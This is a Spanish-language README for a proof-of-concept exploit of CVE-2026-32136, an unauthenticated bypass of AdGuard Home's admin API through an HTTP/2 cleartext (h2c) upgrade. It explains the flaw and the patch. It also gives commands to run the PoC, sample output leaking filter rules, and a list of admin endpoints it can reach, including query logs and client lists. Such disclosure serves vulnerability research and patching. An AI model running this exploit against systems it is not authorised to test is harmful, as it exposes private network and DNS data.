
Bypass de autenticación sin autenticación previa en AdGuard Home
< 0.107.73mediante la actualización de texto claro HTTP/2 (h2c).
| CVE | CVE-2026-32136 |
| CVSS | 9.8 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-287 (Autenticación incorrecta) |
| Afectados | AdGuard Home < 0.107.73 (PoC probada en v0.107.72) |
| Parcheado | v0.107.73 (commit c003e9f9c0) |
| Aviso | GHSA-5fg6-wrq4-w5gh |
El servidor HTTP en internal/home/web.go envuelve el middleware de autenticación fuera de h2c.NewHandler. Cuando un cliente envía una solicitud HTTP/1.1 con Upgrade: h2c a una ruta pública (p. ej. /login.html), el middleware de autenticación la deja pasar y h2c.NewHandler secuestra la conexión TCP para cambiar a HTTP/2. Cada flujo HTTP/2 que sigue en la conexión actualizada se envía directamente al mux interno, sin pasar nunca por el middleware de autenticación. De este modo, cualquier endpoint administrativo /control/* puede alcanzarse sin autenticación en el mismo socket.
El parche mueve el middleware de autenticación dentro del manejador entregado a h2c.NewHandler, de modo que las tramas HTTP/2 posteriores a una actualización en texto claro pasan por la misma comprobación de autenticación que las solicitudes HTTP/1.1.
curl --http2-prior-knowledge no activa el fallo — la capa HTTP/1.1 del servidor rechaza el prefacio HTTP/2 sin procesar con un 401./control/login también devuelve 101 Switching Protocols, pero el 404 (endpoint solo POST) en el flujo 1 contamina los flujos posteriores. Utiliza una ruta estática que devuelva 200 OK (p. ej. /login.html).# Kali / Debian / Ubuntu
sudo apt install -y python3-h2
python3 CVE-2026-32136.py <target-ip> [port] [path]
Valores predeterminados: port=80, path=/control/filtering/status.
$ python3 CVE-2026-32136.py 192.168.1.5 80 /control/filtering/status | jq .user_rules
[+] h2c upgrade successful — connection is now HTTP/2
[+] response status: 200
[
"||tracking.corp.example^",
"||analytics.internal.example^",
...
]
stdout es el cuerpo de la respuesta sin procesar; los mensajes de estado se escriben en stderr para que la salida se canalice limpiamente hacia jq.
Actualice a AdGuard Home 0.107.73 o posterior.
Esta prueba de concepto se publica con fines educativos y de investigación defensiva. No lo ejecute contra sistemas que no sean de su propiedad o para los que no tenga autorización explícita de prueba.
| Endpoint | Devuelve |
|---|
/control/filtering/status | lista de filtros + user_rules |
/control/status | estado del servidor, interfaces de escucha |
/control/clients | lista de clientes DHCP / DNS |
/control/dns_info | servidores DNS upstream |
/control/querylog | registro de consultas DNS (a menudo contiene nombres de host internos) |